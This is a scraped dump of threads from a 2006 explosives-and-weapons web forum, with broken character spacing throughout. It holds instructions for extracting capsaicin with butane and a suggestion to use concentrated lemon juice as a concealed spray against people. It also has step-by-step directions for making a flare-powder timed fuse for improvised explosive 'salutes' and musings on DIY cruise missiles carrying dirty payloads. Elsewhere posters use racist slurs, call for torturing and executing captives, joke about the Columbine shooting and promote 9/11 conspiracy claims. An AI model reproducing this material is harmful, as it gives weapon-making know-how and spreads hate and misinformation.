few hours .. vacuumm filter the oil/pepper mixture through a 25u prefilter
then through a 5u coarse filter and then finally through a 0.5 u absolute
filter maintaining about 150F to keep the oil thin
( the addition of ethyl ether or methyl chloride to the mix would

enhance extraction and would easily be removed by evaporation;
cold extraction with liquid CO2 might also work well)" - http://www.tomstrong.org/recipes/capsaicin.html
This (http://www.cals.ncsu.edu/specialty_crops/publications/reports/2004/ratnasharms_Capsaicin.htm) is an interesting page on extraction performed with Acetone, Ethanol

and Acetonitrile.
Another (http://answers.google.com/answers/threadview?id=540637) site that says some stuff, mainly about trying NOT to get the final product on yourself.
A site (http://faq.gardenweb.com/faq/lists/pepper/2002075348029538.html) about Scoville heat history.
Hope that is some help...
xyz June 7th, 2006, 04:17 AM

Well, it's possible to get liquid butane by leaving a lighter-refill cannister in a deep freezer over night and then simply pouring the stuff out after puncturing the can. It's probably
a more convenient cold extraction solvent than CO2, as it doesn't need much pressure at all to keep it liquid (a small plastic softdrink bottle has worked fine for me - 300mL or
so, as the smaller bottles tend to be stronger), and it'll evaporate off nicely.
You could try freezing and puncturing a butane cannister, pouring the butane into a small plastic bottle containing your chilli powder (which had been placed into the freezer as
well - to cool it down so it doesn't boil the butane excessivley), sealing it up and putting it back in the deep freezer along with your filtering apparatus, let it all cool down, the
open the freezer again, open the bottle, pour the contents into the filter, close the freezer again, wait for the filtration to finish, open the freezer, retreive the filtrate, and then
just wait for the butane to boil off at room temperature.
Of course, keep any procedures involving butane away from all sources of ignition boys and girls (even though most of you ARE sources of ignition...), and carry them out in a
well ventilated area.
nbk2000 June 7th, 2006, 09:07 AM

Why evaporate off the butane? Use it as a volatile propellant to disperse the extracted oil. :)

As a thought, the lemon juice bottle full of the original lemon juice might well be enough to put someone out of the fight. Low pH, legal, handy size. And if would sting like fury
in the eyes, leave a bad taste in the mouth, be a visible marker and scent for the police should they be involved, and cheap (68p) and easily replaced if you need to drop it
someplace. Oh, and it won't trip a metal detector or even mm wave radar.
Perhaps if it was superconcentrated, so it was still lemon juice, but with 50% of the water evaporated off?
I might suggest this to a mate who lost some teeth due to a kicking by pikeys.
Cobalt.45 June 16th, 2006, 09:48 AM

If stealth isn't too much of an issue, the previous suggestion by tomu re a rechargeable, refillable aerosol container can be found at both northerntool.com and
harborfreight.com. $16 and $10, respectively.
16 oz. capacity, includes several nozzles, up to 90 psi and chargeable with a hand pump (read- bicycle), if that's all you have, or even a coin- op gas station compressor.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > C omputer Tech of the Week
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The first Blu R ay recordable discs are now available for sale. They come in two flavors, a 2 5 GB and a 50 GB version. There
a r e a l s o B D - R s a n d B D - R W s. T h e 5 0 G B B D - R s c o s t a s t a g g e r i n g $ 5 0 e a c h , a n d t h e R W versions a r e o v e r $ 6 0 !
I know this is newly m inted technology, and that the price should drop like a stone within the year, but $1 a GB?!? O ne m igh t
as well buy a Raptor drive if you are spending that kind of m oney.
I rem ember when DVD drives cam e out, and along with them CD-R drives. Even b ack in 1997 the drives and media were never
a s e x p e n s i v e a s t h e s e B l u R a y o n e s a r e . I h e a r t h e d r i v e s a r e o v e r $ 1 0 0 0 right now. You would think with the manu facturing
technology being as entrenched as it is the cost of making the drives and discs would be only little m ore than for co nvention al
drives.
I g u ess the D o g b e r t m a r k e t i n g g e n i u s e s a r e t a r g e t i n g t h e stup id rich o n t h i s o n e .
In other news you can now buy a 750GB hard drive for a m ere $500. The first consum er m odel using the perpendicular drive
storage technique has finally been released. I knew the big drives would be the last to be released since they wanted to
squeeze every last cent from other m a r k e t s . T h o s e o t h e r m arke ts being micro drives for portable devices like MP3 players,
n o t e b o o k d r i v e s , a n d h i g h s p e e d d r i v e s. By raising the capacities of the significantly m ore expensive niche product drives first
they can m a x i m i x e t h e i r p r o f i t s . A 1 5 0 G B n o t e b o o k d r i v e s e e m s l i k e a b e t t e r d e a l when it is only stacked a g a i n s t a m a x i m u m
of 500GB in desktop drives.
Now that the 750GB is am o n g u s I s u p p o s e e v e r y m a n u facturer will release 300GB, 400GB, and 500GB drives using the
tech nology a t prices far (eventually) b elow that o f t o d a ys d r i v e s . I h a v e b e e n h o l d i n g o f f o n g etting a new 300GB SATA2 drive
the last coup le of weeks because I know a price drop is im m i n e n t .
Hitachi has m a d e a f l a s h a n i m ated vid eo about the new perpendicular technology in a kind of schoolhouse rock style. It is
quite funny.
http://www.hitachigst.com /hdd /research/recording_head/pr/PerpendicularAnimation.html
bipolar May 9th, 2006, 01:22 AM

Hey Mega,
It looks like Blu-Ray and HD-DVD may both flop. This is with Maxell announcing a m uch cheaper and better solution.
Holographic storage discs storing 300 GB each m ay be coming out by the end of this year. Check out these links.
http://www.jo ystiq.com/2005/11/26/blu-ray-and-hd-dvd-fighting-a-lost-battle-holographic-storage/
http://www.techspot.com /news/19547-m axell-to-unveil-holographic-storage-in-2006.html

There is another new device, the stacked volum etric optical disc (SVOD) array, which is like a very thin DVD sized disc that ca n
b e s t a c k e d u p to 100 high. Ea ch layer is about 92m and can hold 9.4 GB. Since 92m is far to thin to m a k e a u s a b l e p r o d u c t ,
the layers are stacked making up to 1TB discs a possibility. A disc of about 2.5 in ches thick can be m a d e a n d s t i l l b e r e a d a b l e .
These discs would cost around $340 each. One can buy multiple hard drives for less $'s per GB, so I hope that is just the early
adopter price.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Answer to Am erica s Arm y t h e
Gam e?
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I t s e e m s t h e m thar tear-or-ists are using our vidya gam es to recruit Al Kadas!
Usin g m ods for popular first person shooter vid e o g a m es like Battlefield 2, terrorists and m ilitants are giving the youth of the
Mideast a taste of what urban combat is like fighting Am erican soldiers.
S e e m s to m e t h e US m ilitary does t h e sam e thing with Am erica s Arm y, so why is this s u c h a b i g s h o c k t o t h e m ? I s u p p o s e

they will be banning video gam es now
Read the article at:

http://www.bit-tech.net/news/2006/05/05/islam ic_extremists_use_games_to_recruit/
Slinger May 9th, 2006, 12:17 AM

North American Indian Boys, among other cultu res, played gam es, supervised by an adult(s), that taught them the basics of
hunting, survival, and *gasp!* warfare.
Thin k of little boys (a nd girls, mine does), playing soldiers, cops, and cowboys and indians? What's the difference?
I a g r e e , M e g a, I don't see why this is such a paradox to them . Everything else the terrorists' use a gainst us is available to h e
who looks for it (and has the jack). W hy wouldn't com bat sim s a n d o t h e r g a m e s b e a n y s u r p r i s e ?
Hell, m ight a s well ge t rid of g uns, too, lest the y fall into terrorists' hands.
And airplanes, box cutters, laser pointers, com puters, cell phones, the Bill of Rights, etc. :rolleyes:
Sorry for going off topic a little.
nbk2000 May 11th, 2006, 05:45 AM

W e h a v e t o u s e v i d e o g a m es to re-condition Am erican youth to violence.
Not the TV "A-Team" kind, but m ore realistic W AR kind.
Back in the days before P.C . speech, liberalist pussy-wh ipping, and general weakening of the warrior spirit of W hite Am erica,
youngsters were exposed to d e a t h a n d v i o l e n c e o n a r e g u l a r b a s i s .
Y o u h a d t o h unt and kill, or raise and kill, your food. You had to rip off it's skin (and maybe wear it afterwa rds), disem bowel it,
dism e m ber it, and cook its corpse.
Now a slaughter house is a 'Food Processing Plant' from which you buy nuggets and fillets in little packages that you nuke for 2
m inutes. Fur is murder. And hunting is cruelty to anim als. :rolleyes:
A total disconnect from the reality that the living exist only because they have killed others.
Attached is the cover and a co lor page from a childrens book written during the Great War.
Now tell me if you think such a book, written for a m odern audience using the current iraqi m ess, would have any hope in he ll
of being published? Especially aim e d a t a n 8 - 1 2 y e a r o l d a u d i e n ce?
I think the publisher would likely pee on them selves in fear of a soccer m o m f i n d i n g o u t a b o u t s u c h a b o o k . : p
Such books are what prim ed the youth of the Great W ar to fight the Seco nd W orld W ar, twenty years later.
W e n e e d t o u s e t h e m a s s m e d i a o f t o d a y t o r e instill som e backbone into our national body, otherwise the chinks and
ragheads will be able to terrorize us into curling up into a fetal ball.
C a n y o u i m a g i n e t h e A m e r i c a o f t h e 5 0 s l e t t i n g s o m e pissant raghead nation get away with destroying the Em pire State
Building? We 'd have nuked those fuckers into glow-dust!

Fuckin'... A!
If th e children of today don't stop tryin g to em ulate the latest ra pper, with their britches hangin' off their ass and sp outing
nigb onics, instead of studying the heroes of yesterday (I m ean the real, everyday ones, not the comic book kind), what is
country going to be like when they are runnin' it?
I m ean, things are pretty shitty now, but...
I'm trying to instill into m y daughter and nephew the va lue of self-preservation, which m ost sheeple call violence or cruelty to
whatever.
It was instilled in m e, and it definatley needs to be instilled in today's yo uth.
Glow-dust! Ha Haa! But you are right as can be, NBK. At what point did the people of Am erica start to turn so pussified? The
hipp i e m o v e m ent?
I'm only 24, I know it happened before I was b orn, but even I have seen it grow worse.
defiant May 13th, 2006, 01:17 AM

I agree with your overall point, but its a m istake to underestim ate that the m ore affluent a society becom es the m ore its
populace becomes addicted to its pleasures. Consider the following quote:
The average age of the worlds greatest civilizations is two hundred years. These nations have progressed through this
sequence: From bondage to spiritual faith; from spiritual faith to great courage; from great courag e to liberty; from liberty to
a b u n d a n c e ; f r o m a b u n d a n c e t o s e l f i s h ness; from selfishness to complacency; fro m com placency to apathy; from apathy to
dependence; from dependence back a gain to bondage.
- Fraser Tyler, English Historian
T h e w e a k n e s s w e s e e t o d a y i s c o n s e q u e n t t o t h e d e s i r e for secu rity in our pleasures, which results in the desire for som e o n e
else to do our fighting.
Images of war, such as the book covers you posted, were com bined with tales of heroism , courage , and duty and were
assuredly effective in motivating people of that tim e and place to defend themselves or act aggressively. It evoked the warrior
spirit. As America becam e m o r e a f f l u e n t , t h e v a l u e s c h a n g e d , i n f o r m a t i o n b e c a m e m o r e a v a i l a b l e , a n d p e o p l e b e c a m e m o r e
skeptical. In the Vietnam era, graphic images of war and skepticism crea t e d a n o p p o s i t i o n m o v e m ent to war. Today, people
are no less skeptical, but less active due to changing priorities. The populace today is much more consum er driven and
oriented towards self gratification.
W e have gotten where we are because were a consume r driven society - and also because a population of true warriors is
harder for the politicians to control in peaceful tim e s .
P e o p l e t o d a y a r e a l s o s o m ewhat m ore sophisticated, and a large number of the populatio n d o n t b e l i e v e t h e r a g h e a d s

a t t a c k e d t h e W o r l d T r a d e C e n ter independent of US Govt support / foreknowledg e.
http://www.scholarsfor911truth.org/
http://www.globalrese arch.ca/index.php?context=viewArticle&code=20050917&articleId=965
http://www.in fowars.com /articles/sept11/sheen_cnn_poll_shows_82_percent_support.htm
China is a somewhat different story. There, US and British corporations have major investm e n t s a n d a r e e n joying re cord
profits. The m edia, which is also corporate owned, has no m otivation to report the downside to governm ent / corporate
betrayal.
And again, a population of warriors dedicated to a m ora l cause is difficult to control. Video gam es will have to suffice.

OK, now I ha ve one for ya'll! I dont know whether to be upset or intrigue d by this gam e, but the dem ented in all of us m a y
love this
Columbine the GAME! http://www.colum b i n e g a m e.com /
The graphics rather rem ind me of the original Final Fantasy, but this is, of course, far m ore hilarious. It is as if they
intentionally set out to piss people off in creating this gam e. If so, I tip m y hat in their ge neral direction. W hen the soccer
m oms are angry, you are doing the right thing.

Baa Ha Ha! :wipes tears:
Holy shit! Is this real!?
I b e g a n l a u g hing as soon as I saw the i m a g e s , b u t t h e n I s p i e d t h e d e a l a t t h e b o t t o m , p r o m p t i n g m e t o t u r n m y s p e a k e r s

up.
I hit the floor! The Doom m usic!
I can't believe the bleeding hearts would let a gam e like this exist, or even a parody of a game, if the case m ay be .
P e r h a p s t h e y ( p e o p l e who are put off by violent gam e s , m ovies, songs, etc.) should wake up to the fact that hum a n b e i n g s
(crazy and otherwise) have be en offing each other since the dawn of our species. With or without reason, and long before PS2,
or even Atari!
S o m e m ight say it's natural selection...
A nod to you, defiant, I never thought about it that way. But a difficult-to-control population would be good for this country.
Non-controllable (by governm ent) is what it needs. ;)

I'm downloading it now. :-)
I had guns in school, and I never shot anyone.
Slinger, the beauty of the inta rweb is that the soccer m oms have control over only a small part of it, and the porn kings own
huge swathes of it, so it cannot be fully controlled by anyone. This little corner could not exist in any other tim e, nor in any
place.
Bert May 24th, 2006, 11:46 PM

I took a gun to the school gym nearly every Friday night while school was in session from the age of 8 untill I gradu ated. I was
a rifle instructor there at the a ge of 16. Still haven't sho t anybody, despite GR AVE temptations... And just the idea of that
g a m e is a scream .

I agree. Young people (not all of course) or fucking soft. As was said, they all want to be like those nigger rappers, running
around sellin g dope, with a 9mm , pants around their fucking knees, earings etc. FUCK OFF!!
Anyone with children; you m ust teach them to be self confident, not a sheep follo wing the latest trend, teach them self
relia n c e , s e l f d e f e n c e , w e a p o n s , a n d a b o v e a l l t a e c h t h e m t o s p e a k u p a nd be individuals, teach them to lead, not follow.
M y s o n a l r e a d y a s k s t o g o s h o o t i n g , t o d o m artial arts, and wrestle etc. Already I see a strong individual, confident as well as
resp ectful. W e will never beat the ragheads and such if people continue to be so politically correct, and "sta nding up for hum a n
r i g h t s . W e n e e d t o b e m ore "Old school".
Anyone else who claims loyalty to Al Qaeda and such- T orture, g ain inform a t i o n , a n d e x e c u t e . S i m p l e .
defiant May 27th, 2006, 11:07 PM

I couldn't agree m ore with you regarding following fads or your philosoph y on raising kids.
But it doesn't require much research to reveal that the US Gov. orchestrated 911, was com plicit, or had foreknowledge and did
nothing. Look up Able Danger. Check out http://www.scholarsfor911truth.org . Do your research.
A l s o r e m e m ber that the Taliban twice offered to turn over O sama if the US Gov offered proof of his com plicity. Bush's response
was "W e d o n 't negotiate with terrorists." But Bush gave this supposed evidence to Russia and Pakistan - both of which were on
t h e e n e m y list at the time - while prior to 911 the US was friendly towards the Taliban depite the Taliban's bullshit. The Bush
Adm inistration sequestered Taliban assistance to facillitate a deal allowing Unical / Enron to build a pipeline from the Caspia n
Sea through Afghanistan to th e Sea of Arabia. During this period Kenneth Lay had an office in the W h i t e h o u s e a n d h e l p e d
determ ine th e US energy policy. All this occurred after Enron tried to rip o ff India with a nuclear power plant deal that doubled
or tripled the agreed upon costs. India refused to conce de to the increased costs despite intensive US pressure, and Enron fell
into financial ruin. Not all the deals went bad. A week after 911 Exxon signed a deal with Russia to develop Caspian Sea oil
reso urces, and Unical got the contract to build the pipeline through Afghanistan. Figure it out for yourself.
Its one thing to fight for freed om, sovereignty, or survival - but quite another to fight for corporate profits.

I have experienced first hand the dangers of a "just" society where everyone is "equal".
My parents split up when I was young, and I was essentially raised by m y m other. I was always taught to turn and walk away
from danger (stereotypical m iddle-class female view).
In high school (Yr 8) I gave one of the Yr 10's the finger. W hen he was waiting fo r me after school, I sim ply walked away. I
paid for my m i s t a k e b y h a v i n g m y h e a d s m a s h e d i n t o a f u c k i n g p o l e , a l m o s t k n o c k i n g m e o u t a n d s p l i t t i n g m y e y e b r o w o p e n .
W hen I went to tell the vice-principal at the school, they asked me "are you sure it isnt a scratch?"
W hat the fuck? A fucking scratch.
You want to know why this fucker got a way with it? Its because he had a bad childhood. Both his parents died in a car crash.
Fuck that.
After that I started martial arts, and I can sure as fuck tell you if that happens again, I'll follow the first 3 rules of com bat. Hit
hard, hit fast and hit first.
For fucks sake, if any of you have children, teach them that what goes around DO ESN'T co m e a r o u n d . B a d g u y s h a v e m ore
m oney, better guns, lesser morals and they no rm ally win. The world doesn't owe you a fucking thing and if you don't look after
you and yours, nobody fucking will.
FUTI May 29th, 2006, 03:47 PM

Corporate profit....well world of states is vanishing in fro nt of our eyes. The most ridiculous thing is that USA is doing that job
for big corporations in the name of "patriotism " "protection of state" etc. and in the process destroying other countries and in
the end itself.
U S S R d e s i n t e g r a t e b e c a u s e o f a t t e m pt to m ake monolithic system. USA survived because inherent freedom o f i n f o r m a t i o n a n d

e c o n o m y m a k e s i t m o r e a d a p table to the changes and give it potential to m akes new advances th rough individual actions
inde pendent of the state prog ram s. So what do you think it will happend when big corporations split their "new property and
m arkets"...to which of those two models it looks more like, so far?

At what point did the people o f America start to turn so pussified? The hippie m o v e m e n t ?
I h a v e h e a r d it said that the US peace movem ent was cut off at the knees by cop ious am ounts of cheap high quality drugs. It
h a s a l s o b e e n said that Tim othy Leary m ay have been a CIA asset with his turn on, tune in, and drop out philosophy a way of
introducing a cancer to the body of the peace m o v e m ent(think crack epidemic and the repercussions on black m ilitarism). The
peace/anti-war movem ent the n m etam orphised into what we know today as hippies.
T h i s m a k e s s e n s e t o m e b e c a u s e s e c t i o n s o f t h e p e a c e m ovement were becom in g an anti-war movem ent awake to the fact

that you can sing Kum Ba Yah till the mad cows com e h o m e a n d n o t h i n g i s g o i n g t o c h a n g e u n l e s s y o u s t a r t t o u s e m e t h o d s
the fascists really understand.
The above is probably part of the prob lem as it's hard to grow up with a functiona l and whole gender identity when your pare nt/
s turned on, tuned in, and
dropped out but historically it goes mu ch deeper than that. If yo u l o o k a t f o o t a g e o f t h e s o l d i e r s i n W W 1 a n d W W2 you will
s e e w h a t a r e o b v i o u s l y r e a l m e n , m e n ' s m en. These two wars depleted the supply of genetically superior m en because it was
t h e s e m en who were brave, chivalrous, kind, strong, and caring people. They died because of these attributes and the genes
t h a t m a d e t h e m r e a l m e n d i e d w i t h t h e m and our world is a m uch worse place for this loss.
And if that's not bad enough, we have an educational system that cannot by law teach anything that goes against the wishes of
powerful m inority groups such as the fem inists, the gays, the zionists, and the god botherers - the list is nearly as endless as
t h e p o i s o n t h e s e m inorities have pum ped into the heads of our children. If I had publically stated twenty years ago what sort
of shit kids are being taught these days they would have locked me up in a loony bin. Here it is twenty years later and I
a p p e a r t o b e in a loony bin that has billions of residents.
W hat worries m e m ost is the fact that nearly every young person I know appears to have little to n o ability to think critically,
s o l v e p r o b l e m s, question authority, stuff that I once thought came naturally. These days i'm not so sure.
S o m e links for your p erusal!

Leary links
Tim othy Leary (http://en.wikipedia.org /wiki/Tim othy_Leary) - W arning - W i k i p e d i a o f t e n i s b i a s e d a n d u n r e liable
W as Timothy Leary a CIA Agent? (http://home.dti.net/lawserv/leary.htm l)
Tim othy Leary was FBI inform er (http://news.bbc.co.uk/1/hi/world/am ericas/380815.stm )
Assorted Lea ry links (http://nepenthes.lycaeum .org/People/leary.htm l)
Other links
Save the Males (http://www.savethem ales.ca/) - Worthy reading
Intellectual Espionage (http://www.rit.e du/~cm a8660/mirror/www.johntaylorgatto.com /chap ters/3b.htm) - Very worthy reading
The Feminisation of Men (http://www.lewrockwell.com/barnwell/barnwell23.htm l) - Worthy reading
Are W o m e n F e m inising Men (http://uk . a s k m en.com /dating/curtsm ith_10 0/142_dating_advice.htm l) - W orthy readin g
Note: Som e o f t h e s e l i n k s m a y m ake it appear that I have leftist politica l views. I can assure you that that is incorrect. I have
views that would make a republican vom it, a democrat blush, an d drive a libertarian to suicide.
nbk2000 May 30th, 2006, 07:11 AM

"Plans are underway to replace com m unity, fam ily, and church with propa g a n d a , e d u c a t i o n , a n d m a s s m edia....the State
shakes loose from Church, reaches out to Scho ol.... People are only little plastic lum p s o f h u m a n d o u g h . "
Now that is som e seriously righteous shit, boy!

John Taylor Gatto is the m an I think we would all like to be teaching our kids. He won NY teacher o f the year and then shortly
after resigned. This was his acceptance speech (http://www.naturalchild.com /guest/john_gatto.htm l)
Jacks Complete May 31st, 20 06, 04:3 9 PM

W ow, I just read his speech. Incredible, and credible.
From what I have read about the U S school system of today, and what I have seen of the UK school system of toda y, I can't
honestly say I wouldn't have shot someone. I can see several points in my life where things could have turned out very
differently, and I wouldn't be here now.
W e are all th e s u m o f o u r e x p e r i a n c e s . B u t m a k i n g 6 0 0 0 people with the s a m e e x p e r i a n c e s c r a m m e d i n t o t h e m , and leaving

room for nothing else, is a disaster in the viewing. This sam e d o g m a b a s e d t e a c h i n g i s h o w c o m e so many are so willing, in so
m any places, to strap explosives to them selves, and so willing to fight for that sa m e d o g m a .
The child of a wife-be ater ofte n grows up to beat their wife. :-(

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Legit brea k i n s
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First of all, a little background information.
I was reading through the files on m y com puter the other day (so m any of them , I need to read constantly otherwise I forget
what is there) and found a transcript of a perso n who was talking about security flaws in m ost corporate com puter networks.
Corporations hire this m an to hack into their system s (if he can), steal their corporate data, return it to them ( a s p r o o f ) a n d
tell them how they can im prove their security.
From there, it wasn't too far an intellectual jump to doin g it in real life.
Imagine if you will, a com pany that is hired by banks/corporations/stupid rich persons to break into their bank/corporate
h e a d q u a r t e r s / h o m e o f s t u p i d r i c h p e r s o n a n d s t e a l a t o k e n o b j e ct. This object was then returned to the "mark" with a detailed
transcript of the operation and how security cou ld be improved.
I'm not aware of any security place actually doing this, but please say if som e o n e h a s a l r e a d y t h o u g h t a b o u t t h i s i d e a .
Also, I was reading a newspaper article about h ow rich p eople in the USA are hiring a group to "kidnap" them for the thrill of it.
R a n g i n g f r o m a s i m p l e s n a t c h and over night stay to weeks on end of terror and abuse. Sounds like the BDSM of th e
financially free.
An interesting concept, yes?
tmp May 9th, 2006, 03:12 PM

NSA, uses these "tige r team s" to check the basic security of com puters in use at
defense contractor facilities. I saw them in operation at the defense contractor
I used to work for. In addition , whenever I wrote a program for the DoD, it had
to be idiot proof. The procedure was to take som e Marines fresh out of b oot
camp(our work was prinicpally for the U.S. Navy), load up the program , and the
Marines would sit at the term inal and just start pressing keys. If anything went
wrong, such as the program crashing, I was req uired to correct it. If Bill Gates
and his people at Microsoft had to put up with the sam e shit, W indows m ight be
a better product.

Alex ires,
Several months ago, I watched the first episode of a program called "To Catch A Thief", on the Discovery or The Learning
channel. O n this show, they did exactly what yo u are talking abo ut.
T h e t e a m s e t u p h i d d e n c a m eras throughout this rich family's house, and while one guy sat with the family, watching, another
g u y b r o k e i n t o t h e h o u s e a n d c o m m enced to tear it apart, stealing shit.
Of course, nothing was actually stolen, the exercise was to show the fam ily how worthless their security was, and how real
thieves operate, and blah, blah.
I, to o, however, saw it as a good idea for actua l larceny, but my first idea was with a bullshit cam era crew and a van to sit in
and watch, etc.
I s o o n t h o u g ht that m ight be a little farfetched, especia lly aroun d m y neck of the woods. Still, advertised as a security
d e m onstration, the idea has merit in my opinion.
I'm not certa in if the show is still on, as I don't have TV anymore.
Chris The Great May 9th, 2006, 09:48 PM

Also, I was reading a newspaper article about h ow rich p eople in the USA are hiring a group to "kidnap" them for the thrill of it.
R a n g i n g f r o m a s i m p l e s n a t c h and over night stay to weeks on end of terror and abuse. Sounds like the BDSM of th e
financially free.
W e l l , s e e m s y o u f o u n d m e a career to m y liking! Heh heh heh.
Very interesting, I had heard about the hacking thing before but not this kidnapping thing .

If m emory serves the m ovie Sneakers was about a group of techno nerds that ran a company that would break into the
clients site to test their security. It starred Dan Aykroyd and Ben Kingsly I believe. I wanted to get into that business when I
saw the movie.
As for anyone doing this sort of thing for real, well I doubt they advertise in the yellow pages. Perh aps the corporate version,
t h e T h o m a s R egister.
I h a v e h e a r d about the kidnapping cra z e . A r e d r u g s n o t g o o d e n o u g h a n ym ore?
nbk2000 May 10th, 2006, 07:04 PM

This is what 'Red Cell' did for the m ilitary back in the 80's-90's.
SEAL team s would break into m ilitary bases, kidnap officers, plant bom bs, etc.
T h e h i g h e r - u ps stopp e d t h e m f r o m doing this anymore, as it was embarrassing them . Never good to get shown up. :o
I believe the current term is "Penetration Testing", when applied to the sort of thing depicted in the Sneakers movie, which had
Robert Redford as the main character, and Ben Kingsly as the protagonist.
Kevin Mitnick wrote about this in a book of his (forgot which one), and the same thing that happen ed with the Red Cell testing
happens in the corporate world.
You get hired to test corporate security, walk-in a n d r o b t h e p l a c e b l i n d , s o c o r p o r a t e m a n a g e m ent tries suing you for breach
of contract. :rolleyes:
I can just imagine the potential liability for a 'kidnapper'. W hat if you grab the wrong person? Or the person is som e k i n d o f
nutter who gets too deep into it and fights back? Cops see you 'snatch' the custom er and blow you away?
Naw...TOO risky.

I b e l i e v e I o n l y a b o u t t h e k i d n a p p i n g f o r f u n b e c a u s e s o m ething went wrong (well duh! It was inevitable). The correct term I
suppose is "Extrem e Kidnapping" of which there are two companies I could find.
A news story about th e original: http://observer.guardia n.co.uk/international/story/0,6903 ,768885,00.htm l
S o m e rappers knock off: http://www.extrem e k i d n a p p i n g . c o m /
Brock's website is supposed to be http://www.sem agoediv.com / but I cou ld not get it to work right since it is all flash crap. Das
ist verboten!
It is interesting to note in this article, http://news.bbc.co.uk/1/hi/world/am ericas/2163666.stm that by having a few video
cameras around no one tries to stop the faux kidnappings. An interesting psychological observation if I ma y say so. By
extending that logic, has the reality TV craze essentially desensitized us to any activity, no matter how obscene or violent, that
the m ere presence of TV cam eras legitim izes it? Can you rob a store, pull a heist, even comm it a m urder in broad daylight with
t h e s h e e p l e m illing around an d not have them call the cops simply because they think this must be a TV stunt?
nbk2000 May 13th, 2006, 08:18 PM

Since Western culture is program m e d t o b e l i e v e t h a t a n ything that happens in front of a cam era is entertainm e n t , a n d t h a t
entertainm ent is violent, it'd then follow that even the m ost violent actions, as long as they take place in front of visible and
'obviously professional' cam eramen, will be considered to be for entertainm e n t p u r p o s e s . : p
Scenario1:
Running out of a bank.
Bystanders:
Robbery! Call the cop s ! : e e k :
Scenario2:
Running out of a bank with a cam eram an following you out.
Bystanders:
W hat show are they film ing for? W ill I be in the backgro und? Hi m o m ! : )
LostGunner May 13th, 2006, 11:24 PM

I watched "It takes a Thief" a number of times and though amusing it was essentially the same th ing over and over. The idea,
though, was a good one.
USE
W hat was m ost interesting to m e was an episode in which Jon Rainey actually got stopped by the cops as h e was pulling out of
the driveway. They blocked his van from exiting (after his accom plices got away) and proceeded to put him up against the car
a s h e tried to explain that he was with a tv show, etc.
PARAGR A P H
There was much confusion on the part of the cops but to their [most hated] credit they continued to treat him like h e was
guilty. The residents and the other host hopped out of the van in front of the house and the camera cut away.
BREAKS
Presumably everythin g worked out, and it probably did, but it wa s interesting to see the confusion and the possibility for social
engineering your way out of it given some tact and a little credib ility.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Interesting site on pulsejets.
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shooter3 May 9th, 2006, 02:49 PM

http://www.breitbart.com /news/2006/05/09/060509055355.jjazoykq.htm l Click on the links in this artical.
kaiserbill May 22nd, 2006, 04:29 AM

That chap in New Zealand, Sim pson, did have a very interesting website. It is offline unfortunately, but I did browse it
n u m e r o u s t i m e s b e f o re. He basically stated that with com m on com puter com ponents interfaced with GPS and model airplane
control system s a n d s i m ple gyros, you could have a basic guidance package for a cruise m issile. Bodywork could be sim ple
s h e e t m etal or GRP.
USE
The hardest part would be pro pulsion, and he was developing a simple pulse jet called the X-jet. I would go simpler and look
toward the very basic pulse detonation engine of the V-1 of Germany from 1944 onwards.
PARAGR APHS
Allto gether an interesting topic...I can forsee certain organisations using vehicles like these in the future. particularly if the
p a y l o a d w a s n o t e x p l o s i v e , b u t s o m e f o r m of 'dirty' NBC payload.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Simple Tim ed Fuse (3 min +)
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corrosive May 9th, 2006, 07:08 PM

If you live somewhere where visco fuse is hard to get ahold of or you don't want to waste your precious hom e m a d e f u s e . I ' v e
actually found a way to get a good amount of time out of a sim p l e , a n d e a s y f u s e y o u c a n m a k e i n l e s s t h e n 2 m in utes, if you
have the materials. Now, this fuse isn't the best type of fuse to ignite your salute's because its rea lly thick, but you can
economize your visco fuse using this m ethod. Like, for instance a 3 inch fuse for actual salute ignition, but tape this to the
tim e d f u s e .
I call it the flare fuse. Simple concept really, I created this m yself with the materials I had on me at the tim e when I was a little
lad long ago.
Materials:
Road/Marine Flare
Drinking Stra w (Plastic)
Masking Tape
Yes, thats all you need.
Dism antle the flare starting from the friction-ignition-system, they use some type of black powder with hard resin at the tip that
ignites with a simple stroke of sand paper, you can crush that up and use it for whatever you want.
(quick tip: th e flares actual container is pretty dense cardboard, if I'm no t mistaken, you can jig the flare into 3 or so pieces to
use for quick and sim ple salutes)
The flare I used was, Orion Marine Flares, the powder was consistenly yellow and tended to clump when stored, (dont know
exact compound), it left a white brittle after-product.
Pour that out into whatever container you want. Now get the drinking straw and tape one end shut with your norm al everyday
pain t e r ' s o r m a s k i n g t a p e .
W ith the ope n end of the straw, stick it into the flare-po wder many times, the powder should clum p inside. Find like a nail or
s o m ething of the sam e d i a m eter as the straw and mildly press it so all o f the powder is touching a nd is pressed nicely.
After you get all the flare powder inside (or you r slow burning m ixture), m a k e s u r e y o u c o m press it real nice, so you get a
consistent, hot flame all the way through the straw when lit. Tape it up, a nd put a layer or two of tape around the whole straw,
because as it burns it m elts the plastic before it gets to it and som e t i m e s t h e f l a m ing part falls off before igniting the other
powder m aking you think that your salute failed, causing you to go back to the objective. I've had this happen to m e o n a
salute, easy way to get around, put a generous am ount of tape around the whole straw (2 or 3 layers m a x i m u m ).
As I said it's very sim ple and the m aterials will cause absolutely no suspicious behavour whatsoever.
Pros: -When lit, this puppy bu rns to the other end no m atter what condition, 100mph wind s or rain.(except underwater, neve r
tested), the flam e is very hot, you would not put it out by blowing on it if you even tried.
-One flare m akes quite alot of these fuses.
-Doesn't throw sparks, just a flam e.
-Although I never stored these for long periods of tim e, I know flares can be stored for ve ry long periods of tim e. Therefor I
predict you can keep these for years.
- Y o u c a n a l s o u s e y o u r m ixture, as I think it would work with alm o s t e v e r y c o m p o u n d , b u t I l i k e t o u s e a n y m a r i n e f l a r e

m ixture, because once it is lit, there's no stopp ing it.
Cons:-Since you cannot bend this fuse very m uch, it m akes your salute's considerable larger and harder to conceile. Although I
think you can counter this by holding like 10 or 20 of these in your safety box when going to the site-of-detonation, then just
sim ply taping them to your sa lute's with a small strip of tape so the flam e can transfer to your visco or hom e m a d e f u s e .
It th rows a 1 or 2 inch flam e that is extremely hot, something like those "sparkling fireworks" except without the sparks,
becareful when putting on the ground, can ignite the envirom ent pretty easily.
All a nd all I think this is a very good fuse even for the most "professonial" of use rs. Gives very consistent time fram e s s o w h e n
your objective goes off you can be at a nice vantage point where you see it happen, but at a safe distance from be it,
